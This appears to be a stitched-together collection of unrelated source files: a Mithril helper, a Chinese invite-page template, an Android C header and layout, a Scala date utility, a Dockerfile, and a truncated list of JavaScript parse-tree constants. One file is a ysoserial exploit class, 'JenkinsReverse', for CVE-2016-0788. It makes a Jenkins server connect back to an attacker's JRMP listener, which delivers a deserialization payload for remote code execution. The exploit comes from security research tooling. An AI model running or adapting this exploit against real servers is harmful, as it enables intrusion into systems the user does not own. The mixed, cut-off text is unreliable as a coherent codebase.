text:
import m from "mithril";

let helper = {
    component: (args) => {
        return {
            controller: args.ctrl || function(){},
            view: args.view
        };
    },
    getUrlParam: key => {
        let deferred = m.deferred();
        deferred.resolve(() => {
            let res = Number(m.route.param(key));
            return res - 1;
        });
        return deferred.promise;
    }
};

export default helper;


text:
<!DOCTYPE html>

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, user-scalable=no, maximum-scale=1.0"/>
    <title>邀请管理 - {wc:$webname}</title>
    <meta content="yes" name="apple-mobile-web-app-capable" />
    <meta content="black" name="apple-mobile-web-app-status-bar-style" />
    <meta content="telephone=no" name="format-detection" />

    <link href="{G_TEMPLATES_MOBILE_CSS}/comm.css?v=130715" rel="stylesheet" type="text/css" />
    <link href="{G_TEMPLATES_MOBILE_CSS}/member.css?v=130726" rel="stylesheet" type="text/css" />
    <link href="{G_TEMPLATES_MOBILE_CSS}/invite.css?v=130726" rel="stylesheet" type="text/css" />

	        <s></s>返回

邀请管理

                <s></s>{wc:$member['yungoudj']}

                {wc:fun:get_user_name($member['uid'])}({wc:$member['mobile']})

可用福分 {wc:$member['score']}

经验值 {wc:$member['jingyan']}

余额 ¥{wc:$member['money']}
                        去充值

邀请好友

{wc:$username}成功邀请 {wc:$involvedtotal} 位会员注册,已有 {wc:$involvednum} 位会员参与{wc:fun:_cfg('web_name_two')}

用户名

时间

邀请编号

消费状态

                {wc:if $involvedtotal!=0}
                {wc:loop $invifriends $key $val}

  {wc:$val['sqlname']}

{wc:fun:date('Y.m.d H:i:s',$val['time'])}

{wc:fun:idjia($val['uid'])}

{wc:$records[$val['uid']]}

                {wc:loop:end}
                {wc:else}

您还未有邀请谁哦

            {wc:if:end}

{wc:templates "mobile/index","footer"}

redpajama_set_name: RedPajamaGithub


text:
#ifndef __CUTILS_FS_H
#define __CUTILS_FS_H

#include <sys/types.h>
#include <unistd.h>

/*
 * TEMP_FAILURE_RETRY is defined by some, but not all, versions of
 * <unistd.h>. (Alas, it is not as standard as we'd hoped!) So, if it's
 * not already defined, then define it here.
 */
#ifndef TEMP_FAILURE_RETRY
/* Used to retry syscalls that can return EINTR. */
#define TEMP_FAILURE_RETRY(exp) ({         \
    typeof (exp) _rc;                      \
    do {                                   \
        _rc = (exp);                       \
    } while (_rc == -1 && errno == EINTR); \
    _rc; })
#endif

#ifdef __cplusplus
extern "C" {
#endif

/*
 * Ensure that directory exists with given mode and owners.
 */
extern int fs_prepare_dir(const char* path, mode_t mode, uid_t uid, gid_t gid);

/*
 * Read single plaintext integer from given file, correctly handling files
 * partially written with fs_write_atomic_int().
 */
extern int fs_read_atomic_int(const char* path, int* value);

/*
 * Write single plaintext integer to given file, creating backup while
 * in progress.
 */
extern int fs_write_atomic_int(const char* path, int value);

/*
 * Ensure that all directories along given path exist, creating parent
 * directories as needed.  Validates that given path is absolute and that
 * it contains no relative "." or ".." paths or symlinks.  Last path segment
 * is treated as filename and ignored, unless the path ends with "/".
 */
extern int fs_mkdirs(const char* path, mode_t mode);

#ifdef __cplusplus
}
#endif

#endif /* __CUTILS_FS_H */


text:
<?xml version="1.0" encoding="utf-8"?>

<!-- Layout for weather forecast list item for future day (not today) -->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:gravity="center_vertical"
    android:id="@+id/list_item_food"
    android:minHeight="?android:attr/listPreferredItemHeight"
    android:orientation="horizontal"
    android:padding="16dp">

    <TextView xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:gravity="center_vertical"
        android:id="@+id/list_item_food_textview" />

</LinearLayout><!-- From: file:/Users/Simon/Documents/repos/nutrition/Nutrition/app/src/main/res/layout/list_item_food.xml -->


text:
package com.wallace.common.timeformat

import java.text.SimpleDateFormat
import java.util.{Calendar, Date, TimeZone}

import scala.concurrent.duration._

/**
  * Created by Wallace on 2016/5/6.
  * 时间函数
  */
object TimePara {

  def getYear: Int = func[String, Int, Int]("GMT")(Calendar.YEAR)(get)

  def getMonth: Int = func[String, Int, Int]("GMT")(Calendar.MONTH)(get) + 1

  def getDate: Int = func[String, Int, Int]("GMT")(Calendar.DAY_OF_MONTH)(get)

  def getHour: Int = func[String, Int, Int]("GMT")(Calendar.HOUR_OF_DAY)(get)

  def getMinute: Int = func[String, Int, Int]("GMT")(Calendar.MINUTE)(get)

  def getSecond: Int = func[String, Int, Int]("GMT")(Calendar.SECOND)(get)

  private def get(timeZoneID: String = "GMT", timeUnit: Int): Int = {
    Calendar.getInstance(TimeZone.getTimeZone(timeZoneID)).get(timeUnit)
  }

  private def func[A, B, C](x: A)(y: B)(f: (A, B) => C): C = f(x, y)

  // TODO Got some problems,to be handled....
  def getYear(timeZoneID: String): Int = Calendar.getInstance(TimeZone.getTimeZone(timeZoneID.toUpperCase)).get(Calendar.YEAR)

  def getMonth(timeZoneID: String): Int = Calendar.getInstance(TimeZone.getTimeZone(timeZoneID.toUpperCase)).get(Calendar.MONTH) + 1

  def getDate(timeZoneID: String): Int = Calendar.getInstance(TimeZone.getTimeZone(timeZoneID.toUpperCase)).get(Calendar.DAY_OF_MONTH)

  def getHour(timeZoneID: String): Int = Calendar.getInstance(TimeZone.getTimeZone(timeZoneID.toUpperCase)).get(Calendar.HOUR_OF_DAY)

  def getMinute(timeZoneID: String): Int = Calendar.getInstance(TimeZone.getTimeZone(timeZoneID.toUpperCase)).get(Calendar.MINUTE)

  def getSecond(timeZoneID: String): Int = {
    Calendar.getInstance(TimeZone.getTimeZone(timeZoneID.toUpperCase)).get(Calendar.SECOND)
  }

  def getCurrentDate: String = {
    val now: Date = new Date(System.nanoTime().nanos.toMillis)
    val dateFormat: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
    dateFormat.format(now)
  }

  def getCurrentTime: String = {
    val now: Date = new Date(System.nanoTime().nanos.toMillis)
    val dateFormat: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS")
    val time = dateFormat.format(now)
    time
  }

  def getDatePartition: String = {
    val now: Date = new Date()
    val dateFormat: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd")
    val time = dateFormat.format(now)
    time
  }

  def getTimePartition: String = {
    val now: Date = new Date()
    val dateFormat: SimpleDateFormat = new SimpleDateFormat("HH:mm:ss")
    val time = dateFormat.format(now)
    time
  }

  //获取时间戳(毫秒数)
  def getTimeMillis: Long = {
    val tempTime = System.currentTimeMillis()
    tempTime
  }

  def getYesterday: String = {
    val dateFormat: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd")
    val cal: Calendar = Calendar.getInstance()
    cal.add(Calendar.DATE, -1)
    val yesterday = dateFormat.format(cal.getTime)
    yesterday
  }

  def getCurrentWeekStart: String = {
    var period: String = ""
    val cal: Calendar = Calendar.getInstance()
    val df: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd")
    //获取本周一的日期
    cal.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY)
    period = df.format(cal.getTime)
    period
  }

  def getCurrentWeekEnd: String = {
    val cal: Calendar = Calendar.getInstance()
    val df: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd")
    cal.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY) //这种输出的是上个星期周日的日期,因为国外把周日当成第一天
    cal.add(Calendar.WEEK_OF_YEAR, 1) // 增加一个星期,才是我们中国人的本周日的日期
    df.format(cal.getTime)
  }

  def getFirstDayOfMonth: String = {
    val cal: Calendar = Calendar.getInstance()
    val df: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd")
    cal.set(Calendar.DATE, 1)
    df.format(cal.getTime) //本月第一天

  }

  def getEndDayOfMonth: String = {
    val cal: Calendar = Calendar.getInstance()
    val df: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd")
    cal.set(Calendar.DATE, 1)
    cal.roll(Calendar.DATE, -1)
    df.format(cal.getTime) //本月最后一天
  }

  def dateFormat(seconds: Any, timeZoneID: String = "GMT"): String = {
    Calendar.getInstance().setTimeZone(TimeZone.getTimeZone(timeZoneID))
    val sdf: SimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS")
    val s: Option[Long] = seconds match {
      case v: String => Some(v.toLong)
      case v: Long => Some(v)
      case _ => None
    }

    val timeZoneOffset: Int = -(Calendar.getInstance().get(Calendar.ZONE_OFFSET) + Calendar.getInstance().get(Calendar.DST_OFFSET)) / (60 * 1000)
    if (s.isDefined) {
      sdf.format(new Date(s.get * 1000 + timeZoneOffset * 60 * 1000))
    } else {
      ""
    }
  }

  def timeFormat(time: String): String = {
    val sdf: SimpleDateFormat = new SimpleDateFormat("HH:mm:ss")
    val date: String = sdf.format(new Date(time.toLong * 1000))
    date
  }

  //获取时间差,只能计算当天时间,不支持隔天计算。
  def getCostTime(start_time: String = "22:10:10", end_Time: String = "22:11:14"): String = {
    val df: SimpleDateFormat = new SimpleDateFormat("HH:mm:ss")
    val begin: Date = df.parse(start_time)
    val end: Date = df.parse(end_Time)
    val between: Double = 1.0 * ((end.getTime - begin.getTime) / 1000) //转化成秒
    //val hour: Float = between.toFloat / 3600
    //    val decf: DecimalFormat = new DecimalFormat("#.00")
    //    decf.format(between) //格式化
    between.toString + " s"
  }

  def getCostTime(start_time: Long, end_time: Long): String = {
    val between: Double = ((end_time - start_time) / 1000) * 1.0
    between.toString + " s"
  }

  def getCostTime(start_time: Date, end_time: Date): String = {
    val begin: Long = start_time.getTime
    val end: Long = end_time.getTime
    val cost: Double = 1.0 * ((end - begin) / 1000)
    cost.toString + " s"
  }
}


text:
package ysoserial.exploit;

import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;

import hudson.remoting.Channel;
import ysoserial.exploit.JRMPListener;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload.Utils;

/**
 * CVE-2016-0788 exploit (2)
 *
 * - Sets up a local {@link JRMPListener}
 * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
 *   that will cause the remote to open a JRMP connection to our listener
 * - upon connection the specified payload will be delivered to the remote
 *    (that will deserialize using a default ObjectInputStream)
 *
 * @author mbechler
 *
 */
public class JenkinsReverse {

    public static final void main ( final String[] args ) {
        if ( args.length < 4 ) {
            System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
            System.exit(-1);
        }

        final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
        String myAddr = args[ 1 ];
        int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
        String jenkinsUrl = args[ 0 ];

        Thread t = null;
        Channel c = null;
        try {
            InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
            c = JenkinsCLI.openChannel(isa);
            JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
            t = new Thread(listener, "ReverseDGC");
            t.setDaemon(true);
            t.start();
            Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
            c.call(JenkinsCLI.getPropertyCallable(payload));
            listener.waitFor(1000);
            listener.close();
        }
        catch ( Throwable e ) {
            e.printStackTrace();
        }
        finally {
            if ( c != null ) {
                try {
                    c.close();
                }
                catch ( IOException e ) {
                    e.printStackTrace(System.err);
                }
            }

            if ( t != null ) {
                t.interrupt();
                try {
                    t.join();
                }
                catch ( InterruptedException e ) {
                    e.printStackTrace(System.err);
                }
            }
        }
        Utils.releasePayload(args[2], payloadObject);
    }
}


text:
FROM localhost:5000/test/a

RUN mkdir -p test && touch test/b

CMD ["sh"]


text:
"use strict";
var ANNOTATION = 'ANNOTATION';
var ANON_BLOCK = 'ANON_BLOCK';
var ARGUMENT_LIST = 'ARGUMENT_LIST';
var ARRAY_COMPREHENSION = 'ARRAY_COMPREHENSION';
var ARRAY_LITERAL = 'ARRAY_LITERAL';
var ARRAY_PATTERN = 'ARRAY_PATTERN';
var ARRAY_TYPE = 'ARRAY_TYPE';
var ARROW_FUNCTION = 'ARROW_FUNCTION';
var ASSIGNMENT_ELEMENT = 'ASSIGNMENT_ELEMENT';
var AWAIT_EXPRESSION = 'AWAIT_EXPRESSION';
var BINARY_EXPRESSION = 'BINARY_EXPRESSION';
var BINDING_ELEMENT = 'BINDING_ELEMENT';
var BINDING_IDENTIFIER = 'BINDING_IDENTIFIER';
var BLOCK = 'BLOCK';
var BREAK_STATEMENT = 'BREAK_STATEMENT';
var CALL_EXPRESSION = 'CALL_EXPRESSION';
var CALL_SIGNATURE = 'CALL_SIGNATURE';
var CASE_CLAUSE = 'CASE_CLAUSE';
var CATCH = 'CATCH';
var CLASS_DECLARATION = 'CLASS_DECLARATION';
var CLASS_EXPRESSION = 'CLASS_EXPRESSION';
var COMMA_EXPRESSION = 'COMMA_EXPRESSION';
var COMPREHENSION_FOR = 'COMPREHENSION_FOR';
var COMPREHENSION_IF = 'COMPREHENSION_IF';
var COMPUTED_PROPERTY_NAME = 'COMPUTED_PROPERTY_NAME';
var CONDITIONAL_EXPRESSION = 'CONDITIONAL_EXPRESSION';
var CONSTRUCT_SIGNATURE = 'CONSTRUCT_SIGNATURE';
var CONSTRUCTOR_TYPE = 'CONSTRUCTOR_TYPE';
var CONTINUE_STATEMENT = 'CONTINUE_STATEMENT';
var COVER_FORMALS = 'COVER_FORMALS';
var COVER_INITIALIZED_NAME = 'COVER_INITIALIZED_NAME';
var DEBUGGER_STATEMENT = 'DEBUGGER_STATEMENT';
var DEFAULT_CLAUSE = 'DEFAULT_CLAUSE';
var DO_WHILE_STATEMENT = 'DO_WHILE_STATEMENT';
var EMPTY_STATEMENT = 'EMPTY_STATEMENT';
var EXPORT_DECLARATION = 'EXPORT_DECLARATION';
var EXPORT_DEFAULT = 'EXPORT_DEFAULT';
var EXPORT_SPECIFIER = 'EXPORT_SPECIFIER';
var EXPORT_SPECIFIER_SET = 'EXPORT_SPECIFIER_SET';
var EXPORT_STAR = 'EXPORT_STAR';
var EXPRESSION_STATEMENT = 'EXPRESSION_STATEMENT';
var FINALLY = 'FINALLY';
var FOR_IN_STATEMENT = 'FOR_IN_STATEMENT';
var FOR_OF_STATEMENT = 'FOR_OF_STATEMENT';
var FOR_ON_STATEMENT = 'FOR_ON_STATEMENT';
var FOR_STATEMENT = 'FOR_STATEMENT';
var FORMAL_PARAMETER = 'FORMAL_PARAMETER';
var FORMAL_PARAMETER_LIST = 'FORMAL_PARAMETER_LIST';
var FORWARD_DEFAULT_EXPORT = 'FORWARD_DEFAULT_EXPORT';
var FUNCTION_BODY = 'FUNCTION_BODY';
var FUNCTION_DECLARATION = 'FUNCTION_DECLARATION';
var FUNCTION_EXPRESSION = 'FUNCTION_EXPRESSION';
var FUNCTION_TYPE = 'FUNCTION_TYPE';
var GENERATOR_COMPREHENSION = 'GENERATOR_COMPREHENSION';
var GET_ACCESSOR = 'GET_ACCESSOR';
var IDENTIFIER_EXPRESSION = 'IDENTIFIER_EXPRESSION';
var IF_STATEMENT = 'IF_STATEMENT';
var IMPORT_CLAUSE_PAIR = 'IMPORT_CLAUSE_PAIR';
var IMPORT_DECLARATION = 'IMPORT_DECLARATION';
var IMPORT_SPECIFIER = 'IMPORT_SPECIFIER';
var IMPORT_SPECIFIER_SET = 'IMPORT_SPECIFIER_SET';
var IMPORT_TYPE_CLAUSE = 'IMPORT_TYPE_CLAUSE';
var IMPORTED_BINDING = 'IMPORTED_BINDING';
var INDEX_SIGNATURE = 'INDEX_SIGNATURE';
var INTERFACE_DECLARATION = 'INTERFACE_DECLARATION';
var JSX_ATTRIBUTE = 'JSX_ATTRIBUTE';
var JSX_ELEMENT = 'JSX_ELEMENT';
var JSX_ELEMENT_NAME = 'JSX_ELEMENT_NAME';
var JSX_PLACEHOLDER = 'JSX_PLACEHOLDER';
var JSX_SPREAD_ATTRIBUTE = 'JSX_SPREAD_ATTRIBUTE';
var JSX_TEXT = 'JSX_TEXT';
var LABELLED_STATEMENT = 'LABELLED_STATEMENT';
var LITERAL_EXPRESSION = 'LITERAL_EXPRESSION';
var LITERAL_PROPERTY_NAME = 'LITERAL_PROPERTY_NAME';
var MEMBER_EXPRESSION = 'MEMBER_EXPRESSION';
var MEMBER_LOOKUP_EXPRESSION = 'MEMBER_LOOKUP_EXPRESSION';
var METHOD = 'METHOD';
var METHOD_SIGNATURE = 'METHOD_SIGNATURE';
var MODULE = 'MODULE';
var MODULE_SPECIFIER = 'MODULE_SPECIFIER';
var NAME_SPACE_EXPORT = 'NAME_SPACE_EXPORT';
var NAME_SPACE_IMPORT = 'NAME_SPACE_IMPORT';
var NAMED_EXPORT = 'NAMED_EXPORT';
var NEW_EXPRESSION = 'NEW_EXPRESSION';
var OBJECT_LITERAL = 'OBJECT_LITERAL';
var OBJECT_PATTERN = 'OBJECT_PATTERN';
var OBJECT_PATTERN_FIELD = 'OBJECT_PATTERN_FIELD';
var OBJECT_TYPE = 'OBJECT_TYPE';
var PAREN_EXPRESSION = 'PAREN_EXPRESSION';
var POSTFIX_EXPRESSION = 'POSTFIX_EXPRESSION';
var PREDEFINED_TYPE = 'PREDEFINED_TYPE';
var PROPERTY_NAME_ASSIGNMENT = 'PROPERTY_NAME_ASSIGNMENT';
var PROPERTY_NAME_SHORTHAND = 'PROPERTY_NAME_SHORTHAND';
var PROPERTY_SIGNATURE = 'PROPERTY_SIGNATURE';
var PROPERTY_VARIABLE_DECLARATION = 'PROPERTY_VARIABLE_DECLARATION';
var REST_PARAMETER = 'REST_PARAMETER';
var RETURN_STATEMENT = 'RETURN_STATEMENT';
var SCRIPT = 'SCRIPT';
var SET_ACCESSOR = 'SET_ACCESSOR';
var SPREAD_EXPRESSION = 'SPREAD_EXPRESSION';
var SPREAD_PATTERN_ELEMENT = 'SPREAD_PATTERN_ELEMENT';
var STATE_MACHINE = 'STATE_MACHINE';
var SUPER_EXPRESSION = 'SUPER_EXPRESSION';
var SWITCH_STATEMENT = 'SWITCH_STATEMENT';
var SYNTAX_ERROR_TREE = 'SYNTAX_ERROR_TREE';
var TEMPLATE_LITERAL_EXPRESSION = 'TEMPLATE_LITERAL_EXPRESSION';
var TEMPLATE_LITERAL_PORTION = 'TEMPLATE_LITERAL_PORTION';
var TEMPLATE_SUBSTITUTION = 'TEMPLATE_SUBSTITUTION';
var THIS_EXPRESSION = 'THIS_EXPRESSION';
var THROW_STATEMENT = 'THROW_STATEMENT';
var TRY_STATEMENT = 'TRY_STATEMENT';
var TYPE_ALIAS_DECLARATION = 'TYPE_ALIAS_DECLARATION';
var TYPE_ARGUMENTS = 'TYPE_ARGUMENTS';
var TYPE_NAME = 'TYPE_NAME';
var TYPE_PARAMETER = 'TYPE_PARAMETER';
var TYPE_PARAMETERS = 'TYPE_PARAMETERS';
var TYPE_REFERENCE = 'TYPE_REFERENCE';
var UNARY_EXPRESSION = 'UNARY_EXPRESSION';
var UNION_TYPE = 'UNION_TYPE';
var VARIABLE_DECLARATION = 'VARIABLE_DECLARATION';
var VARIABLE_DECLARATION_LIST = 'VARIABLE_DECLARATION_LIST';
var VARIABLE_STATEMENT = 'VARIABLE_STATEMENT';
var WHILE_STATEMENT = 'WHILE_STATEMENT';
var WITH_STATEMENT = 'WITH_STATEMENT';
var YIELD_EXPRESSION = 'YIELD_EXPRESSION';
Object.defineProperties(module.exports, {
  ANNOTATION: {get: function() {
      return ANNOTATION;
    }},
  ANON_BLOCK: {get: function() {
      return ANON_BLOCK;
    }},
  ARGUMENT_LIST: {get: function() {
      return ARGUMENT_LIST;
    }},
  ARRAY_COMPREHENSION: {get: function() {
      return ARRAY_COMPREHENSION;
    }},
  ARRAY_LITERAL: {get: function() {
      return ARRAY_LITERAL;
    }},
  ARRAY_PATTERN: {get: function() {
      return ARRAY_PATTERN;
    }},
  ARRAY_TYPE: {get: function() {
      return ARRAY_TYPE;
    }},
  ARROW_FUNCTION: {get: function() {
      return ARROW_FUNCTION;
    }},
  ASSIGNMENT_ELEMENT: {get: function() {
      return ASSIGNMENT_ELEMENT;
    }},
  AWAIT_EXPRESSION: {get: function() {
      return AWAIT_EXPRESSION;
    }},
  BINARY_EXPRESSION: {get: function() {
      return BINARY_EXPRESSION;
    }},
  BINDING_ELEMENT: {get: function() {
      return BINDING_ELEMENT;
    }},
  BINDING_IDENTIFIER: {get: function() {
      return BINDING_IDENTIFIER;
    }},
  BLOCK: {get: function() {
      return BLOCK;
    }},
  BREAK_STATEMENT: {get: function() {
      return BREAK_STATEMENT;
    }},
  CALL_EXPRESSION: {get: function() {
      return CALL_EXPRESSION;
    }},
  CALL_SIGNATURE: {get: function() {
      return CALL_SIGNATURE;
    }},
  CASE_CLAUSE: {get: function() {
      return CASE_CLAUSE;
    }},
  CATCH: {get: function() {
      return CATCH;
    }},
  CLASS_DECLARATION: {get: function() {
      return CLASS_DECLARATION;
    }},
  CLASS_EXPRESSION: {get: function() {
      return CLASS_EXPRESSION;
    }},
  COMMA_EXPRESSION: {get: function() {
      return COMMA_EXPRESSION;
    }},
  COMPREHENSION_FOR: {get: function() {
      return COMPREHENSION_FOR;
    }},
  COMPREHENSION_IF: {get: function() {
      return COMPREHENSION_IF;
    }},
  COMPUTED_PROPERTY_NAME: {get: function() {
      return COMPUTED_PROPERTY_NAME;
    }},
  CONDITIONAL_EXPRESSION: {get: function() {
      return CONDITIONAL_EXPRESSION;
    }},
  CONSTRUCT_SIGNATURE: {get: function() {
      return CONSTRUCT_SIGNATURE;
    }},
  CONSTRUCTOR_TYPE: {get: function() {
      return CONSTRUCTOR_TYPE;
    }},
  CONTINUE_STATEMENT: {get: function() {
      return CONTINUE_STATEMENT;
    }},
  COVER_FORMALS: {get: function() {
      return COVER_FORMALS;
    }},
  COVER_INITIALIZED_NAME: {get: function() {
      return COVER_INITIALIZED_NAME;
    }},
  DEBUGGER_STATEMENT: {get: function() {
      return DEBUGGER_STATEMENT;
    }},
  DEFAULT_CLAUSE: {get: function() {
      return DEFAULT_CLAUSE;
    }},
  DO_WHILE_STATEMENT: {get: function() {
      return DO_WHILE_STATEMENT;
    }},
  EMPTY_STATEMENT: {get: function() {
      return EMPTY_STATEMENT;
    }},
  EXPORT_DECLARATION: {get: function() {
      return EXPORT_DECLARATION;
    }},
  EXPORT_DEFAULT: {get: function() {
      return EXPORT_DEFAULT;
    }},
  EXPORT_SPECIFIER: {get: function() {
      return EXPORT_SPECIFIER;
    }},
  EXPORT_SPECIFIER_SET: {get: function() {
      return EXPORT_SPECIFIER_SET;
    }},
  EXPORT_STAR: {get: function() {
      return EXPORT_STAR;
    }},
  EXPRESSION_STATEMENT: {get: function() {
      return EXPRESSION_STATEMENT;
    }},
  FINALLY: {get: function() {
      return FINALLY;
    }},
  FOR_IN_STATEMENT: {get: function() {
      return FOR_IN_STATEMENT;
    }},
  FOR_OF_STATEMENT: {get: function() {
      return FOR_OF_STATEMENT;
    }},
  FOR_ON_STATEMENT: {get: function() {
      return FOR_ON_STATEMENT;
    }},
  FOR_STATEMENT: {get: function() {
      return FOR_STATEMENT;
    }},
  FORMAL_PARAMETER: {get: function() {
      return FORMAL_PARAMETER;
    }},
  FORMAL_PARAMETER_LIST: {get: function() {
      return FORMAL_PARAMETER_LIST;
    }},
  FORWARD_DEFAULT_EXPORT: {get: function() {
      return FORWARD_DEFAULT_EXPORT;
    }},
  FUNCTION_BODY: {get: function() {
      return FUNCTION_BODY;
    }},
  FUNCTION_DECLARATION: {get: function() {
      return FUNCTION_DECLARATION;
    }},
  FUNCTION_EXPRESSION: {get: function() {
      return FUNCTION_EXPRESSION;
    }},
  FUNCTION_TYPE: {get: function() {
      return FUNCTION_TYPE;
    }},
  GENERATOR_COMPREHENSION: {get: function() {
      return GENERATOR_COMPREHENSION;
    }},
  GET_ACCESSOR: {get: function() {
      return GET_ACCESSOR;
    }},
  IDENTIFIER_EXPRESSION: {get: function() {
      return IDENTIFIER_EXPRESSION;
    }},
  IF_STATEMENT: {get: function() {
      return IF_STATEMENT;
    }},
  IMPORT_CLAUSE_PAIR: {get: function() {
      return IMPORT_CLAUSE_PAIR;
    }},
  IMPORT_DECLARATION: {get: function() {
      return IMPORT_DECLARATION;
    }},
  IMPORT_SPECIFIER: {get: function() {
      return IMPORT_SPECIFIER;
    }},
  IMPORT_SPECIFIER_SET: {get: function() {
      return IMPORT_SPECIFIER_SET;
    }},
  IMPORT_TYPE_CLAUSE: {get: function() {
      return IMPORT_TYPE_CLAUSE;
    }},
  IMPORTED_BINDING: {get: function() {
      return IMPORTED_BINDING;
    }},
  INDEX_SIGNATURE: {get: function() {
      return INDEX_SIGNATURE;
    }},
  INTERFACE_DECLARATION: {get: function() {
      return INTERFACE_DECLARATION;
    }},
  JSX_ATTRIBUTE: {get: function() {
      return JSX_ATTRIBUTE;
    }},
  JSX_ELEMENT: {get: function() {
      return JSX_ELEMENT;
    }},
  JSX_ELEMENT_NAME: {get: function() {
      return JSX_ELEMENT_NAME;
    }},
  JSX_PLACEHOLDER: {get: function() {
      return JSX_PLACEHOLDER;
    }},
  JSX_SPREAD_ATTRIBUTE: {get: function() {
      return JSX_SPREAD_ATTRIBUTE;
    }},
  JSX_TEXT: {get: function() {
      return JSX_TEXT;
    }},
  LABELLED_STATEMENT: {get: function() {
      return LABELLED_STATEMENT;
    }},
  LITERAL_EXPRESSION: {get: function() {
      return LITERAL_EXPRESSION;
    }},
  LITERAL_PROPERTY_NAME: {get: function() {
      return LITERAL_PROPERTY_NAME;
    }},
  MEMBER_EXPRESSION: {get: function() {
      return MEMBER_EXPRESSION;
    }},
  MEMBER_LOOKUP_EXPRESSION: {get: function() {
      return MEMBER_LOOKUP_EXPRESSION;
    }},
  METHOD: {get: function() {
      return METHOD;
    }},
  METHOD_SIGNATURE: {get: function() {
      return METHOD_SIGNATURE;
    }},
  MODULE: {get: function() {
      return MODULE;
    }},
  MODULE_SPECIFIER: {get: function() {
      return MODULE_SPECIFIER;
    }},
  NAME_SPACE_EXPORT: {get: function() {
      return NAME_SPACE_EXPORT;
    }},
  NAME_SPACE_IMPORT: {get: function() {
      return NAME_SPACE_IMPORT;
    }},
  NAMED_EXPORT: {get: function() {
      return NAMED_EXPORT;
    }},
  NEW_EXPRESSION: {get: function() {
      return NEW_EXPRESSION;
    }},
  OBJECT_LITERAL: {get: function() {
      return OBJECT_LITERAL;
    }},
  OBJECT_PATTERN: {get: function() {
      return OBJECT_PATTERN;
    }},
  OBJECT_PATTERN_FIELD: {get: function() {
      return OBJECT_PATTERN_FIELD;
    }},
  OBJECT_TYPE: {get: function() {
      return OBJECT_TYPE;
    }},
  PAREN_EXPRESSION: {get: function() {
      return PAREN_EXPRESSION;
    }},
  POSTFIX_EXPRESSION: {get: function() {
      return POSTFIX_EXPRESSION;
    }},
  PREDEFINED_TYPE: {get: function() {
      return PREDEFINED_TYPE;
    }},
  PROPERTY_NAME_ASSIGNMENT: {get: function() {
      return PROPERTY_NAME_ASSIGNMENT;
    }},
  PROPERTY_NAME_SHORTHAND: {get: function() {
      return PROPERTY_NAME_SHORTHAND;
    }},
  PROPERTY_SIGNATURE: {get: function() {
      return PROPERTY_SIGNATURE;
    }},
  PROPERTY_VARIABLE_DECLARATION: {get: function() {
      return PROPERTY_VARIABLE_DECLARATION;
    }},
  REST_PARAMETER: {get: function() {
      return REST_PARAMETER;
    }},
  RETURN_STATEMENT: {get: function() {
      return RETURN_STATEMENT;
    }},
  SCRIPT: {get: function() {
      return SCRIPT;
    }},
  SET_ACCESSOR: {get: function() {
      return SET_ACCESSOR;
    }},
  SPREAD_EXPRESSION: {get: function() {
      return SPREAD_EXPRESSION;
    }},
  SPREAD_PATTERN_ELEMENT: {get: function() {
      return SPREAD_PATTERN_ELEMENT;
    }},
  STATE_MACHINE: {get: function() {
      return STATE_MACHINE;
    }},
  SUPER_EXPRESSION: {get: function() {
      return SUPER_EXPRESSION;
    }},
  SWITCH_STATEMENT: {get: function() {
      return SWITCH_STATEMENT;
    }},
  SYNTAX_ERROR_TREE: {get: function() {
      return SYNTAX_ERROR_TREE;
    }},
  TEMPLATE_LITERAL_EXPRESSION: {get: function() {
      return TEMPLATE_LITERAL_EXPRESSION;
    }},
  TEMPLATE_LITERAL_PORTION: {get: function() {
      return TEMPLATE_LITERAL_PORTION;
    }},
  TEMPLATE_SUBSTITUTION: {get: function() {
      return TEMPLATE_SUBSTITUTION;
    }},
  THIS_EXPRESSION: {get: function() {
      return THIS_EXPRESSION;
    }},
  THROW_STATEMENT: {get: function() {
      return THROW_STATEMENT;
    }},
  TRY_STATEMENT: {get: function() {
      return TRY_STATEMENT;
    }},
  TYPE_ALIAS_DECLARATION: {get: function() {
      return TYPE_ALIAS_DECLARATION;
    }},
  TYPE_ARGUMENTS: {get: function() {
      return TYPE_ARGUMENTS;
    }},
  TYPE_NAME: {get: function() {
      return TYPE_NAME;
    }},
  TYPE_PARAMETER: {get: function() {
      return TYPE_PARAMETER;
    }},
  TYPE_PARAMETERS: {get: function() {
      return TYPE_PARAMETERS;
    }},
  TYPE_REFERENCE: {get: function() {
      return TYPE_REFERENCE;
    }},
  UNARY_EXPRESSION: {get: function() {
      return UNARY_EXPRESSION;
    }},
  UNION_TYPE: {get: function() {
      return UNION_TYPE;
    }},
  VARIABLE_DECLARATION: {get: function() {
      return VARIABLE_DECLARATION;
    }},
  VARIABLE_DECLARATION_LIST: {get: function() {
      return VARIABLE_DECLARATION_LIST;
    }},
  VARIABLE_STATEMENT: {get: function() {
      return VARIABLE_STATEMENT;
    }},
  WHILE_STATEMENT: {get: function() {
      return WHILE_STATEMENT;
    }},
  WITH_STATEMENT: {get: function() {
      return WITH_STATEMENT;
    }},
